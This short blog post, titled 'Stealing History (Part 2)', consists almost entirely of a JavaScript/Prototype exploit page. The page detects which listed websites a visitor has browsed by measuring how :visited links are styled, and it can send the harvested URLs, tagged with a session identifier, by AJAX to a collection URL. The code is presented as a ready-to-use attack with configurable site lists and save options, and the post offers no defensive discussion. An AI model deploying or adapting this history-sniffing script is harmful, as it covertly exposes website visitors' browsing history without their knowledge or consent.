Stealing History (Part 2)
Cody Swann has a modified version of the exploit using prototype that works in IE and has support for AJAX requests:
<html> <head> <script type="text/javascript" src="http://script.aculo.us/prototype.js"></script> </head> <body> Have you been to these sites? <script type="text/javascript"> Snoop = Class.create(); Snoop.prototype = { initialize: function(options) { this.options = Object.extend({ writeStyle: true, linkObjArray: null, //AN ARRAY OF JSON FORMATTED LINK OBJ IN THE FORM OF {link:'http://...',text:'nameOfSite'} THAT WILL BE CHECKED identifier: '', //IF SAVING THE DATA, THIS IS WHAT YOU WOULD LIKE TO USE TO IDENFIFY THE SESSON saveURL: null, //URL TO SEND THE DATA TO method: 'get', //METHOD USED IN AJAX SAVE transport: null, //TRANSPORT USED TO SEND SAVED DATA (XMLHTTPRequest by default) onComplete: function(visitedLinks)///FUNCTION CALLED AFTER PARSING LINKS { var dummy = document.createElement('ul'); visitedLinks.each( function(linkObj) { var text = document.createTextNode(linkObj.text); var node = document.createElement('a'); var li = document.createElement('li'); node.appendChild(text); node.setAttribute('href',linkObj.link); li.appendChild(node); dummy.appendChild(li); } ); document.body.appendChild(dummy); }, onSaveComplete: function(){},///CALLBACK FOR AJAX FUNCTION ON SUCCESS onSaveError: function(){}///CALLBACK FOR AJAX FUNCTION ON FAILURE }, options || {}); this._visitedLinks = []; if(this.options.writeStyle) { document.write('<style type="text/css">a.testerLink:visited{display:block;height:1px;}</style>'); } this.collectVisitedLinks(); this.finish(); }, collectVisitedLinks: function() { var dummy = document.createElement('div'); dummy.id = 'visitTestDiv'; Element.setStyle(dummy,{visibility:'hidden',height:'1px',lineHeight:'1px'}); document.body.appendChild(dummy); var linkObjs = this.options.linkObjArray || [{link:'http://new.com/',text:'new'},{link:'http://new.2com/',text:'new2'},{link:'http://google.com/',text:'Google.com'},{link:'http://espn.go.com/',text:'ESPN.com'},{link:'http://script.aculo.us/',text:'Scriptaculous'},{link:'http://digg.com/',text:'Digg'},{link:'http://blog.slimc.com/',text:'Slimc.com'},{link:'http://www.cnn.com/',text:'CNN.com'},{link:'http://www.yahoo.com/',text:'Yahoo!'},{link:'http://myspace.com',text:'MySpace'},{link:'http://www.ebay.com/',text:'ebay'},{link:'http://wikipedia.org/',text:'Wikipedia'},{link:'http://amazon.com/',text:'Amazon.com'},{link:'http://sfbay.craigslist.org/',text:"Craig's List"}]; linkObjs.each( function(linkObj,count) { var text = document.createTextNode(linkObj.text); var node = document.createElement('a'); node.setAttribute('href',linkObj.link); Element.addClassName(node,'testerLink'); dummy.appendChild(node); if(parseInt(Element.getHeight(node)) != 0) { this._visitedLinks.push(linkObj); } Element.remove(node); }.bind(this) ); Element.remove(dummy); }, finish: function() { if(this.options.saveURL) { var urls = this._visitedLinks.collect(function(link){ return link.link; }); urls = urls.join(','); urls = escape(urls.replace(/,$/,'')); urls = urls.replace(/%2C/,','); new Ajax.Request(this.options.saveURL,{ transport: this.options.transport, method: this.options.method, parameters: 'id=' + this.options.identifier + '&urls=' + urls, onSuccess: this.options.onSaveComplete, onFailure: this.options.onSaveError }); } this.options.onComplete(this._visitedLinks); } }; new Snoop({saveURL:'/right/here'}); </script> </body> </html>
[1] http://blog.slimc.com/prototype-javascript-ending-privacy-one-visit-at-a-time/